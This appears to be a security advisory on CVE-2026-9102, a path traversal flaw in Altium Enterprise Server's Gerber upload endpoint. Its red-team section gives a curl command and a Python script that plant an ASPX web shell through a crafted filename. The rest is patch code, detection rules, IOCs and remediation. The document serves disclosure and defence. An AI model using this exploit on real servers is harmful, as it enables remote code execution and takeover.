CVE-2026-9102

Executive Summary

CVE-2026-9102 is a critical path traversal vulnerability in Altium Enterprise Server’s ComparisonService, specifically within the Gerber file upload APIs. An authenticated workspace user can craft a malicious filename in the multipart Content-Disposition header to escape the intended temporary upload directory and write arbitrary files to any location on the server filesystem. This can be escalated to remote code execution (RCE) by writing web shells to web-accessible directories, overwriting application binaries, or modifying configuration files, leading to full service takeover or denial of service. The vulnerability requires authentication but no special privileges, making it a high-severity threat for organizations using Altium Enterprise Server.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires a regular authenticated workspace user.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Arbitrary file write can expose sensitive data.
• Integrity (I): High (H) – Files can be overwritten, including binaries and configs.
• Availability (A): High (H) – Denial of service possible by overwriting critical files.

CVSS Score: 8.8 (High)
Threat Level: Critical – Exploitation can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the Gerber file upload functionality of Altium Enterprise Server’s ComparisonService. When a user uploads a Gerber file via a multipart HTTP request, the server extracts the filename from the Content-Disposition header without proper sanitization. An attacker can include path traversal sequences (e.g., ../) in the filename to escape the designated temporary upload directory.

Attack Flow:

1. An authenticated user sends a crafted multipart POST request to the Gerber upload endpoint.
2. The Content-Disposition header contains a filename like ../../../inetpub/wwwroot/shell.aspx.
3. The server writes the uploaded file content to the resolved path, bypassing directory restrictions.
4. If the target directory is web-accessible, the attacker can execute the uploaded file (e.g., a web shell) to achieve RCE.
5. Alternatively, the attacker can overwrite application binaries or configuration files to disrupt service or gain persistence.

Root Cause: Missing validation of the filename parameter in the multipart upload handler. The server trusts the client-provided filename without checking for path traversal characters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses filename from Content-Disposition
string filename = Request.Files[0].FileName;
string savePath = Path.Combine(tempUploadDir, filename);
file.SaveAs(savePath);

Patched Code (Conceptual):

// Patched: Sanitize filename and validate path
string filename = Path.GetFileName(Request.Files[0].FileName);
string savePath = Path.Combine(tempUploadDir, filename);
if (!savePath.StartsWith(tempUploadDir))
{
    throw new SecurityException("Invalid file path.");
}
file.SaveAs(savePath);

The patched version uses Path.GetFileName() to strip directory components and verifies that the final save path remains within the intended directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for a workspace user on Altium Enterprise Server.
• Network access to the server’s Gerber upload endpoint (typically /ComparisonService/UploadGerber).

Exploit Steps:

1. Craft a multipart POST request with a malicious filename.
2. Use a tool like curl or a custom script.

Example curl command:

curl -X POST -u "username:password" \
  -F "file=@shell.aspx;filename=../../../inetpub/wwwroot/shell.aspx" \
  http://target/ComparisonService/UploadGerber

Custom Python Exploit:

import requests

target = "http://target/ComparisonService/UploadGerber"
username = "user"
password = "pass"
payload = "<%@ Page Language=\"C#\" %>..."  # ASPX web shell

files = {
    "file": ("../../../inetpub/wwwroot/shell.aspx", payload, "application/octet-stream")
}

response = requests.post(target, auth=(username, password), files=files)
print(response.status_code)

Post-Exploitation:

• Access the uploaded shell at http://target/shell.aspx.
• Execute system commands in the context of the service account.
• Escalate privileges or pivot within the network.

Blue Team

Detection:

• Monitor for unusual filenames in multipart uploads (e.g., containing ../ or ..\).
• Alert on file writes outside the expected temporary directory.
• Use file integrity monitoring (FIM) on critical directories.

Hunting:

• Search web server logs for POST requests to /ComparisonService/UploadGerber with suspicious Content-Disposition headers.
• Look for new files in web-accessible directories (e.g., inetpub/wwwroot, htdocs).

Mitigation:

• Apply input validation on the filename parameter.
• Restrict write permissions for the service account to only the temporary directory.
• Use a web application firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• File Paths: Files written to unexpected directories like inetpub/wwwroot/, Program Files/Altium/, or Windows/System32/.
• Network Traffic: HTTP POST requests to /ComparisonService/UploadGerber with Content-Disposition containing ../ or ..\.
• Log Entries: Server logs showing file save operations outside the temporary upload directory.
• System Changes: New or modified files in web-accessible directories, especially .aspx, .ashx, .php, or .jsp files.
• Process Anomalies: Unusual child processes spawned by the Altium service account (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2026_9102_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in multipart uploads to Altium Enterprise Server"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-9102"
    strings:
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "%2e%2e%2f" ascii wide
        $traversal4 = "%2e%2e%5c" ascii wide
        $content_disposition = "Content-Disposition" ascii wide
        $gerber_upload = "UploadGerber" ascii wide
    condition:
        $gerber_upload and $content_disposition and any of ($traversal*)
}

Sigma Rule

title: CVE-2026-9102 Altium Enterprise Server Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Gerber file uploads to Altium Enterprise Server
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/ComparisonService/UploadGerber'
    keywords:
        - 'Content-Disposition'
        - '../'
        - '..\\'
        - '%2e%2e%2f'
        - '%2e%2e%5c'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-9102 Altium Enterprise Server Path Traversal"; flow:to_server; content:"POST"; http_method; content:"/ComparisonService/UploadGerber"; http_uri; content:"Content-Disposition"; http_header; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from untrusted networks if possible.
2. Disable the Gerber upload functionality if not essential.
3. Apply input validation on the filename parameter (use Path.GetFileName() and verify the final path).
4. Restrict write permissions for the service account to only the temporary upload directory.

Long-Term Fix:

• Apply the official patch from Altium when available.
• Implement a web application firewall (WAF) rule to block path traversal patterns.
• Conduct a security review of all file upload endpoints.

Compromise Assessment:

• Check for unauthorized files in web-accessible directories.
• Review server logs for suspicious uploads.
• Scan for backdoors or web shells.

Valters IT
Securing Digital Frontiers